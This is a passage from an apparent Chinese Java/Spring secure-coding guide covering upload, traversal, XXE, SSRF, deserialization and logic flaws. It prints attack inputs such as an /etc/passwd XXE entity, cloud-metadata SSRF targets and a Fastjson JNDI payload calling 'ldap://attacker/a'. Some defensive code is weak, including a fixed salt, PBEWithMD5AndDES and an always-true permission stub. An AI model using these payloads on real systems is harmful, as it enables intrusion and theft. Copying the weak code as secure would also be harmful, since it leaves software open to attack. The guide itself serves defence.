throw new BusinessException("文件名不能为空");
}
// 提取扩展名
String extension = FilenameUtils.getExtension(originalFilename).toLowerCase();
// 白名单校验
Set<String> allowedExtensions = ALLOWED_TYPES.get(category);
if (allowedExtensions == null || !allowedExtensions.contains(extension)) {
throw new BusinessException("不允许的文件类型: " + extension);
}
// 检查双扩展名绕过
if (originalFilename.contains("..")) {
throw new BusinessException("文件名包含非法字符");
}
return extension;
}
/**
* 文件魔数校验
*/
private void validateFileMagic(MultipartFile file, String expectedType)
throws IOException {
byte[] expectedSignature = FILE_SIGNATURES.get(expectedType);
if (expectedSignature == null) {
return; // 没有预定义签名,跳过校验
}
byte[] fileHeader = new byte[expectedSignature.length];
try (InputStream is = file.getInputStream()) {
if (is.read(fileHeader) != expectedSignature.length) {
throw new BusinessException("文件内容损坏");
}
}
// 比较文件头
for (int i = 0; i < expectedSignature.length; i++) {
if (fileHeader[i] != expectedSignature[i]) {
throw new BusinessException("文件类型与内容不匹配");
}
}
}
/**
* 生成安全文件名
*/
private String generateSecureFilename(String extension) {
// 使用UUID + 时间戳生成文件名
String uuid = UUID.randomUUID().toString().replace("-", "");
long timestamp = System.currentTimeMillis();
return uuid + "_" + timestamp + "." + extension;
}
}
/**
* 病毒扫描服务
*/
@Service
public class VirusScanService {
@Value("${virus.scan.enabled:true}")
private boolean enabled;
@Value("${virus.scan.clamav.host:localhost}")
private String clamavHost;
@Value("${virus.scan.clamav.port:3310}")
private int clamavPort;
/**
* 扫描文件
*/
public void scan(MultipartFile file) throws IOException {
if (!enabled) {
log.warn("Virus scanning is disabled");
return;
}
try {
// 使用ClamAV进行病毒扫描
ClamAVClient client = new ClamAVClient(clamavHost, clamavPort);
byte[] response = client.scan(new BufferedInputStream(file.getInputStream()));
if (!ClamAVClient.isCleanReply(response)) {
throw new BusinessException("文件包含恶意代码");
}
} catch (Exception e) {
log.error("Virus scan failed", e);
throw new BusinessException("文件安全检查失败");
}
}
}
4.2 文件包含与目录遍历
4.2.1 漏洞原理
目录遍历(Path Traversal)是指攻击者通过 ../ 等特殊字符访问服务器上的任意文件。
4.2.2 漏洞代码示例
// ❌ 危险:直接使用用户输入的文件路径
@GetMapping("/download")
public ResponseEntity<Resource> download(@RequestParam String filename) {
Path path = Paths.get("/uploads/" + filename);
Resource resource = new FileSystemResource(path);
return ResponseEntity.ok(resource);
}
// 攻击:?filename=../../../etc/passwd
4.2.3 安全防御代码
/**
* 安全的文件下载服务
*/
@Service
public class SecureFileDownloadService {
// 允许访问的基础目录
private static final Path BASE_PATH = Paths.get("/uploads").toAbsolutePath().normalize();
/**
* 安全下载文件
*/
public ResponseEntity<Resource> download(String filename, Long userId) throws IOException {
// 1. 文件名规范化
Path requestedPath = BASE_PATH.resolve(filename).normalize();
// 2. 校验是否在允许的目录内
if (!requestedPath.startsWith(BASE_PATH)) {
log.warn("Directory traversal attempt: {}", filename);
throw new AccessDeniedException("Access denied");
}
// 3. 校验文件是否存在
if (!Files.exists(requestedPath) || !Files.isRegularFile(requestedPath)) {
throw new NotFoundException("File not found");
}
// 4. 校验用户是否有权访问该文件
if (!hasFilePermission(userId, requestedPath)) {
throw new AccessDeniedException("Access denied");
}
// 5. 返回文件
Resource resource = new FileSystemResource(requestedPath);
String contentType = Files.probeContentType(requestedPath);
return ResponseEntity.ok()
.contentType(MediaType.parseMediaType(contentType))
.header(HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=\"" + requestedPath.getFileName() + "\"")
.body(resource);
}
/**
* 文件权限校验
*/
private boolean hasFilePermission(Long userId, Path filePath) {
// 查询数据库校验文件权限
// ...
return true;
}
}
/**
* 使用chroot隔离文件访问(高级防护)
*/
public class ChrootFileAccess {
private final Path rootPath;
public ChrootFileAccess(String rootPath) {
this.rootPath = Paths.get(rootPath).toAbsolutePath().normalize();
}
/**
* 在chroot环境下访问文件
*/
public Path resolve(String filename) {
Path resolved = rootPath.resolve(filename).normalize();
// 关键:确保解析后的路径仍在根目录下
if (!resolved.startsWith(rootPath)) {
throw new SecurityException("Path traversal detected");
}
return resolved;
}
}
4.3 XXE外部实体注入
4.3.1 漏洞原理
XXE(XML External Entity)是指XML解析器处理了外部实体引用,导致:
- 读取服务器任意文件
- 发起SSRF攻击
- 拒绝服务攻击(Billion Laughs Attack)
4.3.2 漏洞代码示例
// ❌ 危险:未禁用外部实体的XML解析
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
// 攻击Payload:
// <?xml version="1.0"?>
// <!DOCTYPE foo [
// <!ENTITY xxe SYSTEM "file:///etc/passwd">
// ]>
// <data>&xxe;</data>
4.3.3 安全防御代码
/**
* 安全的XML解析配置
*/
@Configuration
public class SecureXmlConfig {
/**
* 安全的DocumentBuilderFactory
*/
@Bean
public DocumentBuilderFactory secureDocumentBuilderFactory()
throws ParserConfigurationException {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// ✅ 禁用DTD(防止所有XXE攻击)
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// ✅ 禁用外部通用实体
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
// ✅ 禁用外部参数实体
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// ✅ 禁用外部DTD
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// ✅ 禁用XInclude
factory.setXIncludeAware(false);
// ✅ 禁用实体引用扩展
factory.setExpandEntityReferences(false);
return factory;
}
/**
* 安全的SAXParserFactory
*/
@Bean
public SAXParserFactory secureSAXParserFactory() throws ParserConfigurationException, SAXException {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
return factory;
}
/**
* 安全的XMLInputFactory(StAX解析器)
*/
@Bean
public XMLInputFactory secureXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newInstance();
// 禁用外部实体
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
return factory;
}
}
/**
* 安全的XML解析工具类
*/
public class SecureXmlUtils {
private static final Logger log = LoggerFactory.getLogger(SecureXmlUtils.class);
/**
* 安全解析XML字符串
*/
public static Document parseXml(String xml) throws Exception {
// 使用安全配置的工厂
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用所有外部实体
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
// 设置错误处理器
builder.setErrorHandler(new ErrorHandler() {
@Override
public void warning(SAXParseException e) { log.warn("XML warning", e); }
@Override
public void error(SAXParseException e) throws SAXException { throw e; }
@Override
public void fatalError(SAXParseException e) throws SAXException { throw e; }
});
return builder.parse(new InputSource(new StringReader(xml)));
}
/**
* 使用Jackson进行XML解析(推荐,更安全)
*/
public static <T> T parseXmlWithJackson(String xml, Class<T> clazz) throws Exception {
XmlMapper mapper = new XmlMapper();
// 禁用外部实体
mapper.getFactory().getXMLInputFactory()
.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
mapper.getFactory().getXMLInputFactory()
.setProperty(XMLInputFactory.SUPPORT_DTD, false);
return mapper.readValue(xml, clazz);
}
/**
* 推荐:将XML转换为JSON处理
*/
public static String xmlToJson(String xml) throws Exception {
// 先安全解析XML
Document doc = parseXml(xml);
// 转换为JSON(使用Jackson或其他库)
ObjectMapper jsonMapper = new ObjectMapper();
// ... 转换逻辑
return jsonMapper.writeValueAsString(/* converted object */);
}
}
最佳实践:优先使用JSON替代XML
// ✅ 推荐:使用JSON格式替代XML
// Spring Boot默认使用Jackson处理JSON,无需额外配置
@RestController
public class ApiController {
// ✅ 使用@RequestBody直接接收JSON
@PostMapping("/api/data")
public ResponseEntity<DataResponse> processData(@RequestBody DataRequest request) {
// 直接使用Java对象,无需XML解析
return ResponseEntity.ok(service.process(request));
}
}
4.4 SSRF服务端请求伪造
4.4.1 漏洞原理
SSRF(Server-Side Request Forgery)是指攻击者通过服务器发起请求,访问内部网络资源或绕过访问控制。
4.4.2 攻击场景
1. 读取内部文件:file:///etc/passwd
2. 扫描内网端口:http://192.168.1.1:8080
3. 攻击内部服务:http://internal-api/admin
4. 使用协议:gopher://、dict://
5. 云环境元数据:http://169.254.169.254/latest/meta-data/
4.4.3 安全防御代码
/**
* 安全的HTTP请求服务
*/
@Service
@Slf4j
public class SecureHttpRequestService {
// 允许的协议
private static final Set<String> ALLOWED_PROTOCOLS = Set.of("http", "https");
// 禁止的内网IP段
private static final List<IPRange> BLOCKED_IP_RANGES = List.of(
IPRange.of("10.0.0.0/8"),
IPRange.of("172.16.0.0/12"),
IPRange.of("192.168.0.0/16"),
IPRange.of("127.0.0.0/8"),
IPRange.of("169.254.0.0/16") // 云元数据服务
);
// 禁止的域名后缀
private static final Set<String> BLOCKED_DOMAINS = Set.of(
"internal", "local", "localhost", "intranet"
);
@Autowired
private RestTemplate restTemplate;
/**
* 安全的HTTP GET请求
*/
public String safeHttpGet(String url) throws Exception {
// 1. URL格式校验
URL parsedUrl = validateAndParseUrl(url);
// 2. 协议校验
validateProtocol(parsedUrl.getProtocol());
// 3. 域名校验
validateDomain(parsedUrl.getHost());
// 4. IP地址校验(解析域名后检查)
InetAddress address = InetAddress.getByName(parsedUrl.getHost());
validateIpAddress(address);
// 5. 端口校验
validatePort(parsedUrl.getPort());
// 6. 发起请求(带超时)
return executeRequest(url);
}
private URL validateAndParseUrl(String url) throws MalformedURLException {
if (StringUtils.isBlank(url)) {
throw new IllegalArgumentException("URL cannot be empty");
}
try {
URL parsedUrl = new URL(url);
// 防止URL解析绕过
if (parsedUrl.getHost() == null) {
throw new MalformedURLException("Invalid URL host");
}
return parsedUrl;
} catch (MalformedURLException e) {
throw new IllegalArgumentException("Invalid URL format: " + url);
}
}
private void validateProtocol(String protocol) {
if (!ALLOWED_PROTOCOLS.contains(protocol.toLowerCase())) {
throw new SecurityException("Protocol not allowed: " + protocol);
}
}
private void validateDomain(String domain) {
String lowerDomain = domain.toLowerCase();
// 检查禁止的域名
for (String blocked : BLOCKED_DOMAINS) {
if (lowerDomain.endsWith(blocked)) {
throw new SecurityException("Domain not allowed: " + domain);
}
}
// 检查是否是IP地址
if (lowerDomain.matches("\\d+\\.\\d+\\.\\d+\\.\\d+")) {
// 直接使用IP地址,稍后在validateIpAddress中检查
return;
}
// 域名格式校验
if (!lowerDomain.matches("^[a-z0-9]([a-z0-9\\-]*[a-z0-9])?(\\.[a-z]{2,})+$")) {
throw new SecurityException("Invalid domain format: " + domain);
}
}
private void validateIpAddress(InetAddress address) {
String ip = address.getHostAddress();
// 检查是否是内网IP
if (address.isLoopbackAddress() ||
address.isLinkLocalAddress() ||
address.isSiteLocalAddress()) {
throw new SecurityException("Internal IP addresses not allowed: " + ip);
}
// 检查禁止的IP段
for (IPRange range : BLOCKED_IP_RANGES) {
if (range.contains(ip)) {
throw new SecurityException("IP address in blocked range: " + ip);
}
}
}
private void validatePort(int port) {
if (port != -1 && (port < 1 || port > 65535)) {
throw new SecurityException("Invalid port: " + port);
}
// 禁止访问常见内部服务端口
Set<Integer> blockedPorts = Set.of(6379, 27017, 5432, 3306, 9200, 2181);
if (blockedPorts.contains(port)) {
throw new SecurityException("Port not allowed: " + port);
}
}
private String executeRequest(String url) {
// 配置超时
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(5000);
factory.setReadTimeout(10000);
RestTemplate restTemplate = new RestTemplate(factory);
// 限制响应大小
HttpHeaders headers = new HttpHeaders();
HttpEntity<String> entity = new HttpEntity<>(headers);
ResponseEntity<String> response = restTemplate.exchange(
url, HttpMethod.GET, entity, String.class
);
// 检查响应大小
String body = response.getBody();
if (body != null && body.length() > 1024 * 1024) { // 1MB限制
throw new SecurityException("Response too large");
}
return body;
}
}
/**
* 使用白名单方式(更安全)
*/
@Service
public class WhitelistHttpService {
// 允许访问的URL白名单
private static final List<Pattern> ALLOWED_URL_PATTERNS = List.of(
Pattern.compile("^https://api\\.example\\.com/.*"),
Pattern.compile("^https://cdn\\.example\\.com/.*")
);
public String safeRequest(String url) {
// 只允许访问白名单中的URL
boolean allowed = ALLOWED_URL_PATTERNS.stream()
.anyMatch(pattern -> pattern.matcher(url).matches());
if (!allowed) {
throw new SecurityException("URL not in whitelist: " + url);
}
// 执行请求
// ...
}
}
五、反序列化与组件安全
5.1 反序列化漏洞
5.1.1 漏洞原理
反序列化漏洞是指应用程序反序列化不可信数据时,攻击者构造恶意数据触发代码执行。
5.1.2 常见漏洞库
| 库 | 漏洞类型 | CVE示例 |
|---|---|---|
| Apache Commons Collections | RCE | CVE-2015-4852 |
| Fastjson | RCE | CVE-2022-25845 |
| Jackson | RCE | CVE-2019-12384 |
| XStream | RCE | CVE-2021-39139 |
5.1.3 漏洞代码示例
// ❌ 危险:反序列化不可信数据
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
Object obj = ois.readObject(); // 可能触发RCE
// ❌ 危险:Fastjson autoType
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/a\"}";
JSON.parse(json); // 触发JNDI注入
5.1.4 安全防御代码
方案一:Java原生反序列化防护
/**
* 安全的ObjectInputStream(白名单方式)
*/
public class SafeObjectInputStream extends ObjectInputStream {
// 允许反序列化的类白名单
private static final Set<String> ALLOWED_CLASSES = Set.of(
"java.lang.String",
"java.lang.Integer",
"java.lang.Long",
"java.util.ArrayList",
"java.util.HashMap",
"com.company.dto.UserDTO",
"com.company.dto.OrderDTO"
);
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
// 白名单校验
if (!ALLOWED_CLASSES.contains(className)) {
throw new SecurityException("Class not allowed for deserialization: " + className);
}
return super.resolveClass(desc);
}
/**
* 安全的反序列化方法
*/
public static <T> T safeDeserialize(byte[] data, Class<T> expectedType)
throws IOException, ClassNotFoundException {
try (SafeObjectInputStream ois = new SafeObjectInputStream(
new ByteArrayInputStream(data))) {
Object obj = ois.readObject();
// 类型校验
if (!expectedType.isInstance(obj)) {
throw new SecurityException("Unexpected deserialized type");
}
return expectedType.cast(obj);
}
}
}
方案二:Jackson安全配置
@Configuration
public class JacksonSecurityConfig {
@Bean
public ObjectMapper secureObjectMapper() {
ObjectMapper mapper = new ObjectMapper();
// ✅ 禁用默认类型推断(防止多态攻击)
mapper.deactivateDefaultTyping();
// ✅ 使用安全的类型验证器
mapper.activateDefaultTyping(
createSafeTypeValidator(),
ObjectMapper.DefaultTyping.NON_FINAL
);
// ✅ 禁用未知属性(防止属性注入)
mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);
// ✅ 限制反序列化深度
mapper.configure(DeserializationFeature.ACCEPT_SINGLE_VALUE_AS_ARRAY, false);
return mapper;
}
/**
* 创建安全的类型验证器
*/
private PolymorphicTypeValidator createSafeTypeValidator() {
return BasicPolymorphicTypeValidator.builder()
// 只允许特定包下的类
.allowIfBaseType("com.company.dto.")
.allowIfSubType("com.company.dto.")
.allowIfSubType("java.util.")
.allowIfSubType("java.lang.")
// 禁止所有其他类型
.denyForExactBaseType(Object.class)
.build();
}
}
/**
* 自定义反序列化过滤器
*/
public class SafeDeserializationFilter extends BeanDeserializerModifier {
private static final Set<String> DANGEROUS_CLASSES = Set.of(
"java.lang.ProcessBuilder",
"java.lang.Runtime",
"javax.naming.InitialContext",
"com.sun.rowset.JdbcRowSetImpl"
);
@Override
public JsonDeserializer<?> modifyDeserializer(
DeserializationConfig config,
BeanDescription beanDesc,
JsonDeserializer<?> deserializer) {
String className = beanDesc.getBeanClass().getName();
if (DANGEROUS_CLASSES.contains(className)) {
throw new SecurityException("Deserialization of dangerous class blocked: " + className);
}
return deserializer;
}
}
方案三:Fastjson安全配置
@Configuration
public class FastjsonSecurityConfig {
@Bean
public HttpMessageConverter<Object> fastjsonConverter() {
FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();
FastJsonConfig config = new FastJsonConfig();
// ✅ 禁用autoType(关键安全配置)
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或者使用白名单方式
// ParserConfig.getGlobalInstance().addAccept("com.company.dto.");
// ParserConfig.getGlobalInstance().addAccept("java.util.");
// ✅ 设置安全的反序列化过滤器
config.setSerializerFeatures(
SerializerFeature.WriteClassName // 序列化时写入类型信息
);
converter.setFastJsonConfig(config);
return converter;
}
}
/**
* Fastjson安全使用示例
*/
public class SafeFastjsonUsage {
/**
* ✅ 安全:指定目标类型
*/
public <T> T parseObject(String json, Class<T> clazz) {
return JSON.parseObject(json, clazz);
}
/**
* ❌ 危险:不指定类型,依赖autoType
*/
public Object parseObjectUnsafe(String json) {
return JSON.parse(json); // 可能触发RCE
}
}
方案四:XStream安全配置
/**
* 安全的XStream配置
*/
public class SafeXStream extends XStream {
public SafeXStream() {
super();
// ✅ 设置安全框架(XStream 1.4.18+)
setupDefaultSecurity(this);
// ✅ 只允许特定类
allowTypes(new Class[]{
UserDTO.class,
OrderDTO.class,
ArrayList.class,
HashMap.class
});
}
/**
* 设置默认安全配置
*/
private void setupDefaultSecurity(XStream xstream) {
// 清除默认允许的类型
xstream.addPermission(NoTypePermission.NONE);
// 只允许基本类型
xstream.addPermission(new TypeHierarchyPermission(String.class));
xstream.addPermission(new TypeHierarchyPermission(Number.class));
xstream.addPermission(new TypeHierarchyPermission(Boolean.class));
// 允许特定包
xstream.allowTypesByWildcard(new String[]{
"com.company.dto.**",
"java.util.**"
});
}
}
5.2 依赖组件安全(供应链安全)
5.2.1 漏洞原理
应用程序依赖的第三方库可能存在已知漏洞,攻击者可以利用这些漏洞攻击应用。
5.2.2 安全防御措施
Maven依赖检查
<!-- pom.xml -->
<build>
<plugins>
<!-- OWASP Dependency-Check 插件 -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.4.0</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<suppressionFiles>
<suppressionFile>dependency-check-suppressions.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
Gradle依赖检查
// build.gradle.kts
plugins {
id("org.owasp.dependencycheck") version "8.4.0"
}
dependencyCheck {
failBuildOnCVSS.set(7f)
suppressionFile.set("dependency-check-suppressions.xml")
}
SBOM(软件物料清单)管理
<!-- 生成SBOM -->
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.7.10</version>
<executions>
<execution>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
</plugin>
依赖版本管理
<!-- 使用dependencyManagement统一管理版本 -->
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>3.2.0</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<!-- 排除存在漏洞的传递依赖 -->
<dependency>
<groupId>com.example</groupId>
<artifactId>some-library</artifactId>
<version>1.0.0</version>
<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>
</dependency>
六、信息泄露与业务逻辑
6.1 敏感信息泄露
6.1.1 常见泄露场景
| 场景 | 说明 | 防御方法 |
|---|---|---|
| 日志泄露 | 日志中打印敏感信息 | 日志脱敏 |
| 报错泄露 | 异常信息暴露系统细节 | 统一异常处理 |
| 配置泄露 | 配置文件包含明文密码 | 配置加密 |
| API响应泄露 | 返回不必要的敏感字段 | DTO过滤 |
| 堆内存泄露 | 敏感数据残留在内存 | 及时清理 |
6.1.2 安全防御代码
方案一:日志脱敏
/**
* 日志脱敏工具类
*/
public class LogUtils {
// 手机号脱敏:138****8888
private static final Pattern PHONE_PATTERN =
Pattern.compile("(1[3-9]\\d)\\d{4}(\\d{4})");
// 身份证号脱敏:110***********1234
private static final Pattern ID_CARD_PATTERN =
Pattern.compile("(\\d{3})\\d{11}(\\w{4})");
// 邮箱脱敏:t***@example.com
private static final Pattern EMAIL_PATTERN =
Pattern.compile("(\\w)[\\w.]*@(\\w+\\.\\w+)");
// 银行卡号脱敏:6222 **** **** 1234
private static final Pattern BANK_CARD_PATTERN =
Pattern.compile("(\\d{4})\\d{8,12}(\\d{4})");
/**
* 脱敏手机号
*/
public static String maskPhone(String phone) {
if (StringUtils.isBlank(phone)) return phone;
return PHONE_PATTERN.matcher(phone).replaceAll("$1****$2");
}
/**
* 脱敏身份证号
*/
public static String maskIdCard(String idCard) {
if (StringUtils.isBlank(idCard)) return idCard;
return ID_CARD_PATTERN.matcher(idCard).replaceAll("$1***********$2");
}
/**
* 脱敏邮箱
*/
public static String maskEmail(String email) {
if (StringUtils.isBlank(email)) return email;
return EMAIL_PATTERN.matcher(email).replaceAll("$1***@$2");
}
/**
* 脱敏银行卡号
*/
public static String maskBankCard(String bankCard) {
if (StringUtils.isBlank(bankCard)) return bankCard;
return BANK_CARD_PATTERN.matcher(bankCard).replaceAll("$1 **** **** $2");
}
/**
* 通用脱敏方法
*/
public static String maskSensitive(String message) {
if (StringUtils.isBlank(message)) return message;
message = maskPhone(message);
message = maskIdCard(message);
message = maskEmail(message);
message = maskBankCard(message);
return message;
}
}
/**
* Logback脱敏配置
*/
// logback-spring.xml
// <configuration>
// <conversionRule conversionWord="maskedMsg"
// converterClass="com.company.LogMaskingConverter" />
//
// <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
// <encoder>
// <pattern>%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %maskedMsg{msg}%n</pattern>
// </encoder>
// </appender>
// </configuration>
/**
* Logback日志脱敏转换器
*/
public class LogMaskingConverter extends ClassicConverter {
@Override
public String convert(ILoggingEvent event) {
String message = event.getFormattedMessage();
return LogUtils.maskSensitive(message);
}
}
方案二:统一异常处理
/**
* 全局异常处理器
*/
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {
/**
* 业务异常
*/
@ExceptionHandler(BusinessException.class)
public ResponseEntity<ErrorResponse> handleBusinessException(BusinessException e) {
log.warn("Business exception: {}", e.getMessage());
return ResponseEntity.status(e.getHttpStatus())
.body(ErrorResponse.of(e.getCode(), e.getMessage()));
}
/**
* 参数校验异常
*/
@ExceptionHandler(MethodArgumentNotValidException.class)
public ResponseEntity<ErrorResponse> handleValidationException(
MethodArgumentNotValidException e) {
String message = e.getBindingResult().getFieldErrors().stream()
.map(error -> error.getField() + ": " + error.getDefaultMessage())
.collect(Collectors.joining(", "));
log.warn("Validation failed: {}", message);
return ResponseEntity.badRequest()
.body(ErrorResponse.of("VALIDATION_ERROR", message));
}
/**
* 权限异常
*/
@ExceptionHandler(AccessDeniedException.class)
public ResponseEntity<ErrorResponse> handleAccessDeniedException(AccessDeniedException e) {
log.warn("Access denied: {}", e.getMessage());
return ResponseEntity.status(HttpStatus.FORBIDDEN)
.body(ErrorResponse.of("ACCESS_DENIED", "Access denied"));
}
/**
* 未知异常(不暴露内部细节)
*/
@ExceptionHandler(Exception.class)
public ResponseEntity<ErrorResponse> handleException(Exception e) {
// ✅ 记录详细错误信息到日志
log.error("Unexpected error", e);
// ✅ 返回通用错误信息给客户端
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
.body(ErrorResponse.of("INTERNAL_ERROR", "An unexpected error occurred"));
}
/**
* 错误响应DTO
*/
@Data
@AllArgsConstructor
public static class ErrorResponse {
private String code;
private String message;
private long timestamp;
public static ErrorResponse of(String code, String message) {
return new ErrorResponse(code, message, System.currentTimeMillis());
}
}
}
方案三:敏感数据加密存储
/**
* 敏感数据加密服务
*/
@Service
public class SensitiveDataService {
@Value("${encryption.master-key}")
private String masterKey;
/**
* 加密敏感数据
*/
public String encrypt(String plaintext) {
try {
// 使用AES-GCM加密
SecretKey key = deriveKey(masterKey);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
byte[] iv = new byte[12];
new SecureRandom().nextBytes(iv);
GCMParameterSpec spec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.ENCRYPT_MODE, key, spec);
byte[] ciphertext = cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
// IV + Ciphertext
byte[] combined = new byte[iv.length + ciphertext.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(ciphertext, 0, combined, iv.length, ciphertext.length);
return Base64.getEncoder().encodeToString(combined);
} catch (Exception e) {
throw new EncryptionException("Encryption failed", e);
}
}
/**
* 解密敏感数据
*/
public String decrypt(String ciphertext) {
try {
byte[] combined = Base64.getDecoder().decode(ciphertext);
byte[] iv = Arrays.copyOfRange(combined, 0, 12);
byte[] encrypted = Arrays.copyOfRange(combined, 12, combined.length);
SecretKey key = deriveKey(masterKey);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
GCMParameterSpec spec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.DECRYPT_MODE, key, spec);
byte[] plaintext = cipher.doFinal(encrypted);
return new String(plaintext, StandardCharsets.UTF_8);
} catch (Exception e) {
throw new EncryptionException("Decryption failed", e);
}
}
private SecretKey deriveKey(String masterKey) {
// 使用PBKDF2派生密钥
byte[] salt = "fixed-salt".getBytes(); // 实际应用中应使用随机salt
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
KeySpec spec = new PBEKeySpec(masterKey.toCharArray(), salt, 100000, 256);
SecretKey tmp = factory.generateSecret(spec);
return new SecretKeySpec(tmp.getEncoded(), "AES");
}
/**
* 安全地清理敏感数据(从内存中)
*/
public void clearSensitiveData(char[] sensitiveData) {
if (sensitiveData != null) {
Arrays.fill(sensitiveData, '\0');
}
}
public void clearSensitiveData(byte[] sensitiveData) {
if (sensitiveData != null) {
Arrays.fill(sensitiveData, (byte) 0);
}
}
}
/**
* 使用Jasypt进行配置文件加密
*/
// application.yml
// spring:
// datasource:
// password: ${DB_PASSWORD:ENC(加密后的密文)}
//
// jasypt:
// encryptor:
// password: ${JASYPT_MASTER_KEY}
// algorithm: PBEWithMD5AndDES
6.2 业务逻辑漏洞
6.2.1 常见业务漏洞
| 漏洞类型 | 说明 | 示例 |
|---|---|---|
| 竞态条件 | 并发操作导致数据不一致 | 重复下单、超卖 |
| 金额篡改 | 修改支付金额 | 负数金额、小数精度 |
| 重放攻击 | 重复提交请求 | 重复支付 |
| 参数篡改 | 修改业务参数 | 修改优惠券金额 |
| 流程绕过 | 跳过必要步骤 | 绕过支付直接完成订单 |
6.2.2 安全防御代码
方案一:防重复提交
/**
* 防重复提交注解
*/
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface PreventDuplicateSubmit {
String message() default "请勿重复提交";
long interval() default 3000; // 默认3秒
}
/**
* 防重复提交AOP切面
*/
@Aspect
@Component
@Slf4j
public class PreventDuplicateSubmitAspect {
@Autowired
private RedisTemplate<String, String> redisTemplate;
@Around("@annotation(preventDuplicateSubmit)")
public Object around(ProceedingJoinPoint point, PreventDuplicateSubmit preventDuplicateSubmit)
throws Throwable {
// 生成唯一Key
String key = generateKey(point);
// 检查是否重复提交
Boolean isNew = redisTemplate.opsForValue().setIfAbsent(
key, "1", preventDuplicateSubmit.interval(), TimeUnit.MILLISECONDS
);
if (!Boolean.TRUE.equals(isNew)) {
throw new BusinessException(preventDuplicateSubmit.message());
}
try {
return point.proceed();
} catch (Exception e) {
// 执行失败时删除Key,允许重试
redisTemplate.delete(key);
throw e;
}
}
private String generateKey(ProceedingJoinPoint point) {
// 基于用户ID + 方法签名 + 参数生成Key
String userId = SecurityUtils.getCurrentUserId().toString();
String methodName = point.getSignature().toShortString();
String argsHash = DigestUtils.md5DigestAsHex(
JSON.toJSONString(point.getArgs()).getBytes()
);
return String.format("duplicate:submit:%s:%s:%s", userId, methodName, argsHash);
}
}
// 使用示例
@PostMapping("/order/create")
@PreventDuplicateSubmit(interval = 5000)
public ResponseEntity<Order> createOrder(@RequestBody CreateOrderRequest request) {
// 创建订单逻辑
}
方案二:防重放攻击
/**
* 防重放攻击过滤器
*/
@Component
public class ReplayAttackFilter implements Filter {
@Autowired
private RedisTemplate<String, String> redisTemplate;
// Nonce有效期(5分钟)
private static final long NONCE_EXPIRY = 5 * 60 * 1000;
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// 只校验POST/PUT/DELETE请求
if (!isRequiresValidation(httpRequest.getMethod())) {
chain.doFilter(request, response);
return;
}
String nonce = httpRequest.getHeader("X-Nonce");
String timestamp = httpRequest.getHeader("X-Timestamp");
String signature = httpRequest.getHeader("X-Signature");
// 1. 校验必要参数
if (nonce == null || timestamp == null || signature == null) {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_BAD_REQUEST);
return;
}
// 2. 校验时间戳(防止过期请求)
long requestTime = Long.parseLong(timestamp);
long currentTime = System.currentTimeMillis();
if (Math.abs(currentTime - requestTime) > NONCE_EXPIRY) {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_REQUEST_TIMEOUT);
return;
}
